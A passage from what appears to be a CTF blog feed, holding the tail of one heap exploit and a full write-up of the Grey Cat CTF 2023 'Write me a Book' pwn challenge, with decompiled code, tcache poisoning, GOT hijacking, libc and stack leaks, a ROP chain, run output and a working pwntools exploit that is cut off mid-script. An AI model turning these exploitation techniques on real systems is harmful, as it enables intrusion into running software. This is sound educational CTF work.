    heap = ((pwn.u64(io.recvline()[:-1].ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12) - 0x2000)
    pwn.log.info(f&quot;heap @ {hex(heap)}&quot;)

    add(0, 0x100, b&quot;YY&quot;)

    add(7, 0x100, b&quot;YY&quot;) # prev
    add(8, 0x100, b&quot;YY&quot;) # a

    # fill tcache
    for i in range(7):
        free(i)

    for _ in range(20):
        add(9, 0x10, b&quot;/bin/sh\0&quot;) # barrier

    free(8) # free(a) =&amp;gt; unsortedbin
    free(7) # free(prev) =&amp;gt; merged with a

    # leak libc
    view(8)

    libc.address = pwn.u64(io.recvline()[:-1].ljust(8, b&quot;\x00&quot;)) - 0x219ce0 # offset of the unsorted bin
    pwn.log.success(f&quot;libc: {hex(libc.address)}&quot;)

    stdout = libc.address + 0x21a780
    environ = libc.address + 0x2a72d0 + 8
    strr = libc.address + 0x1bd460

    pwn.log.success(f&quot;environ: {hex(environ)}&quot;)
    pwn.log.success(f&quot;stdout: {hex(stdout)}&quot;)

    add(0, 0x100, b&quot;YY&quot;) # pop a chunk from the tcache to let an entry left to a 
    free(8) # free(a) =&amp;gt; tcache

    # unsortedbin =&amp;gt; oob on a =&amp;gt; tcache poisoning
    add(
        1, 0x130, pwn.flat(
                            b&quot;T&quot;*0x108 + pwn.p64(0x111),
                           (stdout) ^ ((heap + 0x2b90) &amp;gt;&amp;gt; 12)
                           )
        )
    add(2, 0x100, b&quot;TT&quot;)

    # tcache =&amp;gt; stdout
    add(3, 0x100, pwn.flat(0xfbad1800, # _flags
                           libc.sym.environ, # _IO_read_ptr
                           libc.sym.environ, # _IO_read_end
                           libc.sym.environ, # _IO_read_base
                           libc.sym.environ, # _IO_write_base
                           libc.sym.environ + 0x8, # _IO_write_ptr
                           libc.sym.environ + 0x8, # _IO_write_end
                           libc.sym.environ + 0x8, # _IO_buf_base
                           libc.sym.environ + 8 # _IO_buf_end
                           )
        )

    stack = pwn.u64(io.recv(8)[:-1].ljust(8, b&quot;\x00&quot;)) - 0x160 # stackframe of fgets
    pwn.log.info(f&quot;stack: {hex(stack)}&quot;)

    rop = pwn.ROP(libc, base=stack)

    # ROPchain
    rop(rax=pwn.constants.SYS_open, rdi=stack + 0xde + 2 - 0x18, rsi=pwn.constants.O_RDONLY) # open
    rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))
    rop(rax=pwn.constants.SYS_read, rdi=3, rsi=(stack &amp;amp; ~0xfff), rdx=0x300) # file descriptor bf ...
    rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))

    rop(rax=pwn.constants.SYS_write, rdi=1, rsi=(stack &amp;amp; ~0xfff), rdx=0x50) # write
    rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))
    rop.raw(&quot;./flag.txt\x00&quot;)

    # victim =&amp;gt; tcache
    free(8) 
    
    # prev =&amp;gt; tcache 0x140
    free(7) 

    # tcache poisoning
    add(5, 0x130, b&quot;T&quot;*0x100 + pwn.p64(0) + pwn.p64(0x111) + pwn.p64(((stack - 0x28) ^ ((heap + 0x2b90) &amp;gt;&amp;gt; 12))))
    add(2, 0x100, b&quot;TT&quot;) # dumb

    print(rop.dump())
    add(3, 0x100, pwn.p64(0x1337)*5 + rop.chain())

    io.interactive()

if __name__ == &quot;__main__&quot;:
    exp()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[Grey Cat CTF Quals 2023 - pwn] Write me a Book</title><link>https://n4sm.github.io/posts/writemeabook/</link><guid isPermaLink="true">https://n4sm.github.io/posts/writemeabook/</guid><pubDate>Sun, 21 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Write me a book&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Write me a Book
349&lt;/p&gt;
&lt;p&gt;Give back to the library! Share your thoughts and experiences!&lt;/p&gt;
&lt;p&gt;The flag can be found in /flag&lt;/p&gt;
&lt;p&gt;Elma&lt;/p&gt;
&lt;p&gt;nc 34.124.157.94 12346&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Write me a book is a heap challenge I did during the &lt;a href=&quot;https://nusgreyhats.org/&quot;&gt;Grey Cat The Flag 2023 Qualifiers&lt;/a&gt;. You can find the tasks and the exploit &lt;a href=&quot;https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;To manage to read the flag we have to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;create overlapping chunks due to an oob write vulnerability in &lt;code&gt;rewrite_books&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;tcache poisoning thanks to the overlapping chunks&lt;/li&gt;
&lt;li&gt;Overwrite the first entry of &lt;code&gt;@books&lt;/code&gt; to then be able to rewrite 4 entries of &lt;code&gt;@books&lt;/code&gt; by setting a large size.&lt;/li&gt;
&lt;li&gt;With the read / write primitives of &lt;code&gt;@books&lt;/code&gt; we leak &lt;code&gt;&amp;amp;stdout@glibc&lt;/code&gt; and &lt;code&gt;environ&lt;/code&gt;, this way getting a libc and stack leak.&lt;/li&gt;
&lt;li&gt;This way we can simply ROP over a given stackframe.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;General overview&lt;/h2&gt;
&lt;p&gt;Let&apos;s take a look at the protections and the version of the libc:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
&amp;lt;https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs&amp;gt;.
$ checksec --file ./libc.so.6 
[*] &apos;/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/greyctf/pwn/writemeabook/dist/libc.so.6&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So a very recent one with standards protections. Then let&apos;s take a look at the binary:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ checksec --file chall
[*] &apos;/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/greyctf/pwn/writemeabook/dist/chall&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)
    RUNPATH:  b&apos;/home/nasm/Documents/pwn/greycat/writemeabook/dist&apos;
$ seccomp-tools dump ./chall
Welcome to the library of hopes and dreams!

We heard about your journey...
and we want you to share about your experiences!

What would you like your author signature to be?
&amp;gt; aa

Great! We would like you to write no more than 10 books :)
Please feel at home.
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A &amp;lt; 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The binary isn&apos;t PIE based and does have a seccomp that allows only &lt;code&gt;read&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt;, &lt;code&gt;open&lt;/code&gt; and &lt;code&gt;exit&lt;/code&gt;. Which will make the exploitation harder (but not that much).&lt;/p&gt;
&lt;h2&gt;Code review&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;main&lt;/code&gt; looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  puts(&quot;Welcome to the library of hopes and dreams!&quot;);
  puts(&quot;\nWe heard about your journey...&quot;);
  puts(&quot;and we want you to share about your experiences!&quot;);
  puts(&quot;\nWhat would you like your author signature to be?&quot;);
  printf(&quot;&amp;gt; &quot;);
  LODWORD(author_signature) = &apos; yb&apos;;
  __isoc99_scanf(&quot;%12s&quot;, (char *)&amp;amp;author_signature + 3);
  puts(&quot;\nGreat! We would like you to write no more than 10 books :)&quot;);
  puts(&quot;Please feel at home.&quot;);
  secure_library();
  write_books();
  return puts(&quot;Goodbye!&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We have to give a signature (12 bytes max) sorted in &lt;code&gt;author_signatures&lt;/code&gt;, then the program is allocating a lot of chunks in &lt;code&gt;secure_library&lt;/code&gt;. Finally it calls &lt;code&gt;write_books&lt;/code&gt; which contains the main logic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 write_books()
{
  int choice; // [rsp+0h] [rbp-10h] BYREF
  int fav_num; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      __isoc99_scanf(&quot;%d&quot;, &amp;amp;choice);
      getchar();
      if ( choice != 1337 )
        break;
      if ( !secret_msg )
      {
        printf(&quot;What is your favourite number? &quot;);
        __isoc99_scanf(&quot;%d&quot;, &amp;amp;fav_num);
        if ( fav_num &amp;gt; 0 &amp;amp;&amp;amp; fav_num &amp;lt;= 10 &amp;amp;&amp;amp; slot[2 * fav_num - 2] )
          printf(&quot;You found a secret message: %p\n&quot;, slot[2 * fav_num - 2]);
        secret_msg = 1;
      }
LABEL_19:
      puts(&quot;Invalid choice.&quot;);
    }
    if ( choice &amp;gt; 1337 )
      goto LABEL_19;
    if ( choice == 4 )
      return v3 - __readfsqword(0x28u);
    if ( choice &amp;gt; 4 )
      goto LABEL_19;
    switch ( choice )
    {
      case 3:
        throw_book();
        break;
      case 1:
        write_book();
        break;
      case 2:
        rewrite_book();
        break;
      default:
        goto LABEL_19;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are basically three handlers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;1337&lt;/code&gt;, we can leak only one time the address of a given allocated chunk.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4&lt;/code&gt; returns.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3&lt;/code&gt; free a chunk.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1&lt;/code&gt; add a book.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2&lt;/code&gt; edit a book.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let&apos;s take a quick look at each handler, first the free handler:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 throw_book()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(&quot;\nAt which index of the shelf would you like to throw your book?&quot;);
  printf(&quot;Index: &quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;v1);
  getchar();
  if ( v1 &amp;gt; 0 &amp;amp;&amp;amp; v1 &amp;lt;= 10 &amp;amp;&amp;amp; slot[2 * v1 - 2] )
  {
    free(slot[2 * --v1]);
    slot[2 * v1] = 0LL;
    puts(&quot;Your book has been thrown!\n&quot;);
  }
  else
  {
    puts(&quot;Invaid slot!&quot;);
  }
  return v2 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It only checks is the entry exists and if the index is in the right range. if it does it frees the entry and zeroes it.&lt;/p&gt;
&lt;p&gt;Then, the add handler:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 write_book()
{
  int idx2; // ebx
  _QWORD *v1; // rcx
  __int64 v2; // rdx
  int idx; // [rsp+4h] [rbp-4Ch] BYREF
  size_t size; // [rsp+8h] [rbp-48h]
  char buf[32]; // [rsp+10h] [rbp-40h] BYREF
  char v7; // [rsp+30h] [rbp-20h]
  unsigned __int64 v8; // [rsp+38h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  puts(&quot;\nAt which index of the shelf would you like to insert your book?&quot;);
  printf(&quot;Index: &quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;idx);
  getchar();
  if ( idx &amp;lt;= 0 || idx &amp;gt; 10 || slot[2 * idx - 2] )
  {
    puts(&quot;Invaid slot!&quot;);
  }
  else
  {
    --idx;
    memset(buf, 0, sizeof(buf));
    v7 = 0;
    puts(&quot;Write me a book no more than 32 characters long!&quot;);
    size = read(0, buf, 0x20uLL) + 0x10;
    idx2 = idx;
    slot[2 * idx2] = malloc(size);
    memcpy(slot[2 * idx], buf, size - 0x10);
    v1 = (char *)slot[2 * idx] + size - 0x10;
    v2 = qword_4040D8;
    *v1 = *(_QWORD *)author_signature;
    v1[1] = v2;
    books[idx].size = size;
    puts(&quot;Your book has been published!\n&quot;);
  }
  return v8 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can allocate a chunk between &lt;code&gt;0x10&lt;/code&gt; and &lt;code&gt;0x20 + 0x10&lt;/code&gt; bytes and after we wrote in it the signature initially choose at the begin of the execution is put right after the end of the input.&lt;/p&gt;
&lt;p&gt;Finally comes the handler where lies the vuln, the edit handler:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 rewrite_book()
{
  _QWORD *v0; // rcx
  __int64 v1; // rdx
  int idx; // [rsp+Ch] [rbp-14h] BYREF
  ssize_t v4; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts(&quot;\nAt which index of the shelf would you like to rewrite your book?&quot;);
  printf(&quot;Index: &quot;);
  __isoc99_scanf(&quot;%d&quot;, &amp;amp;idx);
  getchar();
  if ( idx &amp;gt; 0 &amp;amp;&amp;amp; idx &amp;lt;= 10 &amp;amp;&amp;amp; slot[2 * idx - 2] )
  {
    --idx;
    puts(&quot;Write me the new contents of your book that is no longer than what it was before.&quot;);
    v4 = read(0, slot[2 * idx], books[idx].size);
    v0 = (__int64 *)((char *)slot[2 * idx]-&amp;gt;buf + v4);
    v1 = qword_4040D8;
    *v0 = author_signature;
    v0[1] = v1;
    puts(&quot;Your book has been rewritten!\n&quot;);
  }
  else
  {
    puts(&quot;Invaid slot!&quot;);
  }
  return v5 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can read there is an out of bound write if we input &lt;code&gt;books[idx].size&lt;/code&gt; bytes, indeed given the chunk stores only &lt;code&gt;books[idx].size&lt;/code&gt; bytes the signature writes over the current chunk. And most of the time on the header (and especially the size) of the next chunk allocated in memory resulting an overlapping chunk.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Given we can get overlapping chunks we&apos;re able to do tcache poisoning on the &lt;code&gt;0x40&lt;/code&gt; tcachebin (to deeply understand why I advice you to read the exploit and to run it into gdb). At this point we can simply write the first entry of &lt;code&gt;@books&lt;/code&gt; that is stored at a fixed memory area within the binary (no PIE). In this new entry we could write a pointer to itself but with a large size in order to be able to write several entries of &lt;code&gt;@books&lt;/code&gt;. When it is done we could write these entries:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    edit(1, pwn.flat([
            # 1==
            0xff, # sz
            exe.sym.stdout, # to leak libc
            # 2==
            0x8, # sz
            exe.got.free, # to do GOT hiijacking
            # 3==
            0x8, # sz
            exe.sym.secret_msg, # to be able to print an entry of @books
            # 4==
            0xff, # sz
            exe.sym.books # ptr to itself to be able to rewrite the entries when we need to do so
        ] + [0] * 0x60, filler = b&quot;\x00&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This way we can easily leak libc.&lt;/p&gt;
&lt;h2&gt;Leaking libc&lt;/h2&gt;
&lt;p&gt;Leaking libc is very easy given we already setup the entries of &lt;code&gt;@books&lt;/code&gt;. We can replace &lt;code&gt;free@GOT&lt;/code&gt; by &lt;code&gt;puts@plt&lt;/code&gt;. This way the next time free will be called on an entry, it will leak the datas towards which the entry points. Which means &lt;code&gt;free(book[1])&lt;/code&gt; leaks the address of stdout within the libc.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;STDOUT = 0x21a780

# [...]

def libc_leak_free(idx):
    io.sendlineafter(b&quot;Option: &quot;, b&quot;3&quot;)
    io.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    return pwn.unpack(io.recvline().replace(b&quot;\n&quot;, b&quot;&quot;).ljust(8, b&quot;\x00&quot;)) - STDOUT

# [...]

# libc leak
libc.address = libc_leak_free(1)
pwn.log.success(f&quot;libc: {hex(libc.address)}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Leaking the stack&lt;/h2&gt;
&lt;p&gt;Leaking the libc is cool but given the binary has a seccomp we cannot write one_gadgets on &lt;code&gt;__malloc_hook&lt;/code&gt; or &lt;code&gt;__free_hook&lt;/code&gt; or within the GOT (of the libc or of the binary) because of the seccomp. We have to do a ROPchain, to do so we could use &lt;code&gt;setcontext&lt;/code&gt; but for this libc it is made around &lt;code&gt;rdx&lt;/code&gt; that we do not control. Or we could simply leak &lt;code&gt;environ&lt;/code&gt; to get the address of a stackframe from which we could return. That&apos;s what we gonna do on the &lt;code&gt;rewrite_books&lt;/code&gt; stackframe.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def leak_environ(idx):
    io.sendlineafter(b&quot;Option: &quot;, b&quot;3&quot;)
    io.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    return pwn.unpack(io.recvline().replace(b&quot;\n&quot;, b&quot;&quot;).ljust(8, b&quot;\x00&quot;))

# leak stack (environ)
edit(4, pwn.flat([
        # 1==
        0xff, # sz
        libc.sym.environ # target
    ], filler = b&quot;\x00&quot;))

environ = leak_environ(1)
pwn.log.success(f&quot;environ: {hex(environ)}&quot;)

stackframe_rewrite = environ - 0x150
pwn.log.success(f&quot;stackframe_rewrite: {hex(stackframe_rewrite)}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ROPchain&lt;/h2&gt;
&lt;p&gt;Everything is ready for the ROPchain, we cannot use mprotect to use a shellcode within the seccomp forbids it. We just have to set the first entry to the stackframe we&apos;d like to hiijack and that&apos;s it, then we just need call edit on this entry and the ROPchain is written and triggered at the return of the function!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rop = pwn.ROP(libc, base=stackframe_rewrite)

# setup the write to the rewrite stackframe
edit(4, pwn.flat([
        # 1==
        0xff, # sz
        stackframe_rewrite # target
    ], filler = b&quot;\x00&quot;))

# ROPchain
rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open
rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...
rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))

rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write
rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))
rop.exit(0x1337)
rop.raw(b&quot;/flag\x00&quot;)

print(rop.dump())
print(hex(len(rop.chain()) - 8))

# write and trigger the ROPchain
edit(1, rop.chain())
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PROFIT&lt;/h2&gt;
&lt;p&gt;Finally:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nasm@off:~/Documents/pwn/greycat/writemeabook/dist$ python3 exploit.py REMOTE HOST=34.124.157.94 PORT=12346
[*] &apos;/home/nasm/Documents/pwn/greycat/writemeabook/dist/chall&apos;                                                                                                 
    Arch:     amd64-64-little  
    RELRO:    Partial RELRO
    Stack:    Canary found                                                                                                                 
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)                                                                                                                      
    RUNPATH:  b&apos;/home/nasm/Documents/pwn/greycat/writemeabook/dist&apos;                                       
[*] &apos;/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6&apos;                            
    Arch:     amd64-64-little                                                                                   
    RELRO:    Partial RELRO                                                                                                                
    Stack:    Canary found                                                                                                                   
    NX:       NX enabled                                                                                                                        
    PIE:      PIE enabled                                                                                                                         
[*] &apos;/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2&apos; 
    Arch:     amd64-64-little                                                                        
    RELRO:    Partial RELRO                                                                                                                
    Stack:    No canary found                                                                                                                
    NX:       NX enabled                                                                                                                     
    PIE:      PIE enabled                                                                                                                         
[+] Opening connection to 34.124.157.94 on port 12346: Done                                                                               
[+] heap: 0x81a000                                                                                          
[*] Encrypted fp: 0x40484d
[+] libc: 0x7f162182f000                                                                                                                           
[+] environ: 0x7ffe60582c98
[+] stackframe_rewrite: 0x7ffe60582b48
[*] Loaded 218 cached gadgets for &apos;/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6&apos;
0x7ffe60582b48:   0x7f1621874eb0 pop rax; ret                     
0x7ffe60582b50:              0x2 SYS_open
0x7ffe60582b58:   0x7f162185ae51 pop rsi; ret
0x7ffe60582b60:              0x0 O_RDONLY
0x7ffe60582b68:   0x7f16218593e5 pop rdi; ret
0x7ffe60582b70:   0x7ffe60582c28 (+0xb8)
0x7ffe60582b78:   0x7f16218c0396 syscall; ret
0x7ffe60582b80:   0x7f16218bf528 pop rax; pop rdx; pop rbx; ret
0x7ffe60582b88:              0x0 SYS_read
0x7ffe60582b90:            0x100
0x7ffe60582b98:      b&apos;uaaavaaa&apos; &amp;lt;pad rbx&amp;gt;
0x7ffe60582ba0:   0x7f162185ae51 pop rsi; ret
0x7ffe60582ba8:         0x81a000
0x7ffe60582bb0:   0x7f16218593e5 pop rdi; ret
0x7ffe60582bb8:              0x3
0x7ffe60582bc0:   0x7f16218c0396 syscall; ret
0x7ffe60582bc8:   0x7f16218bf528 pop rax; pop rdx; pop rbx; ret
0x7ffe60582bd0:              0x1 SYS_write
0x7ffe60582bd8:            0x100
0x7ffe60582be0:      b&apos;naaboaab&apos; &amp;lt;pad rbx&amp;gt;
0x7ffe60582be8:   0x7f162185ae51 pop rsi; ret
0x7ffe60582bf0:         0x81a000
0x7ffe60582bf8:   0x7f16218593e5 pop rdi; ret
0x7ffe60582c00:              0x1
0x7ffe60582c08:   0x7f16218c0396 syscall; ret
0x7ffe60582c10:   0x7f16218593e5 pop rdi; ret
0x7ffe60582c18:           0x1337 [arg0] rdi = 4919
0x7ffe60582c20:   0x7f16218745f0 exit
0x7ffe60582c28:     b&apos;/flag\x00&apos; b&apos;/flag\x00&apos;
0xde
[*] Switching to interactive mode
Your book has been rewritten!

grey{gr00m1ng_4nd_sc4nn1ng_th3_b00ks!!}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb9\x81\x00\x00\x00\xb8\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb1\x81\x00\x00\x00\x00\x00\x00\x00\xc0\x81\x00\[*] Got EOF while reading in interactive
$ exit
$ 
[*] Closed connection to 34.124.157.94 port 12346
[*] Got EOF while sending in interactive
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;That was a nice medium heap challenge, even though that was pretty classic. You can find the tasks and the exploit &lt;a href=&quot;https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Annexes&lt;/h2&gt;
&lt;p&gt;Final exploit (with comments):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn

BINARY = &quot;chall&quot;
LIBC = &quot;/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6&quot;
LD = &quot;/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2&quot;

# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8  = pwn.p8
u8  = pwn.u8

host = pwn.args.HOST or &apos;127.0.0.1&apos;
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
    &apos;&apos;&apos;Execute the target binary locally&apos;&apos;&apos;
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    &apos;&apos;&apos;Connect to the process on the remote host&apos;&apos;&apos;
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    &apos;&apos;&apos;Start the exploit against the target.&apos;&apos;&apos;
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)


gdbscript = &apos;&apos;&apos;
source /home/nasm/Downloads/pwndbg/gdbinit.py
&apos;&apos;&apos;.format(**locals())

HEAP_OFFT = 0x3d10
CHUNK3_OFFT = 0x3d50
STDOUT = 0x21a780

def encode_ptr(heap, offt, value):
    return ((heap + offt) &amp;gt;&amp;gt; 12) ^ value

import subprocess
def one_gadget(filename):
  return [int(i) for i in subprocess.check_output([&apos;one_gadget&apos;, &apos;--raw&apos;, filename]).decode().split(&apos; &apos;)]

def exp():

    io = start()

    def init(flip):
        io.sendlineafter(b&quot;&amp;gt; &quot;, flip)
    
    def add(idx, data: bytes):
        io.sendlineafter(b&quot;Option: &quot;, b&quot;1&quot;)
        io.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
        io.sendlineafter(b&quot;Write me a book no more than 32 characters long!\n&quot;, data)

    def edit(idx, data):
        io.sendlineafter(b&quot;Option: &quot;, b&quot;2&quot;)
        io.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
        io.sendlineafter(b&quot;Write me the new contents of your book that is no longer than what it was before.\n&quot;, data)

    def free(idx):
        io.sendlineafter(b&quot;Option: &quot;, b&quot;3&quot;)
        io.sendlineafter(b&quot;Index: &quot;, str(idx).encode())

    def heapLeak(idx):
        io.sendlineafter(b&quot;Option: &quot;, b&quot;1337&quot;)
        io.sendlineafter(b&quot;What is your favourite number? &quot;, str(idx).encode())
        io.recvuntil(b&quot;You found a secret message: &quot;)
        return int(io.recvline().replace(b&quot;\n&quot;, b&quot;&quot;).decode(), 16) - HEAP_OFFT

    def enable_print(idx):
        edit(idx, b&quot;&quot;.join([
            pwn.p64(0)
        ]))

    def libc_leak_free(idx):
        io.sendlineafter(b&quot;Option: &quot;, b&quot;3&quot;)
        io.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
        return pwn.unpack(io.recvline().replace(b&quot;\n&quot;, b&quot;&quot;).ljust(8, b&quot;\x00&quot;)) - STDOUT

    def leak_environ(idx):
        io.sendlineafter(b&quot;Option: &quot;, b&quot;3&quot;)
        io.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
        return pwn.unpack(io.recvline().replace(b&quot;\n&quot;, b&quot;&quot;).ljust(8, b&quot;\x00&quot;))

    init(b&quot;m&quot;*4 + pwn.p8(0x41))

    add(1, b&quot;K&quot;*0x10)
    heap_leak = heapLeak(1)
    pwn.log.success(f&quot;heap: {hex(heap_leak)}&quot;)

    # victim
    add(2, b&quot;&quot;)
    add(3, b&quot;&quot;.join([   b&quot;A&quot;*0x10,
                        pwn.p64(0), # prev_sz
                        pwn.p64(0x21) # fake size
                    ]))
    
    add(4, b&quot;&quot;.join([   b&quot;A&quot;*0x10,
                        pwn.p64(0), # prev_sz
                        pwn.p64(0x21) # fake size
                    ]))
    free(4) # count for 0x40 tcachebin = 1

    # chunk2 =&amp;gt; sz extended
    edit(1, b&quot;K&quot;*0x20)
    # chunk2 =&amp;gt; tcachebin 0x40, count = 2
    free(2)

    # oob write over chunk3, we keep valid header
    add(2, b&quot;&quot;.join([   pwn.p64(0)*3,
                        pwn.p64(0x41) # valid size to end up in the 0x40 tcache bin
                    ])) # count = 1

